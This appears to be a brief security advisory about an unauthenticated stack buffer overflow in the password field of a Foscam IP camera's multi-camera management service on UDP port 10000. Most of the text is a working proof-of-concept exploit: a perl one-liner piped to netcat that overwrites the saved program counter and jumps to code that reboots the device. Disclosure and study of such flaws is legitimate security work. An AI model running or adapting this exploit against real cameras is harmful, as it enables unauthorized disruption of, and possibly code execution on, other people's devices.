Foscam IP Video Camera devMng Multi-Camera Port 10000 Command 0x0002 Password Field Code Execution Vulnerability()

                                                This vulnerability is reachable by the "discovery" command (0x0002) and doesn't need authentication. The following proof of concept overwrites the saved PC on the stack and jumps to a piece of code that reboots the device.

```
$ sIP="192.168.0.10"
$ sMac="001122334455"
$ perl -e 'print "MO_I","\x02\x00","A"x9,"\xa6\x00\x00\x00","B"x8;' -e "print \"${sMac}\x00\";" -e 'print "\x00"x13,"C"x132,"\x98\xfc\x03\x00"' | nc -u $sIP 10000
```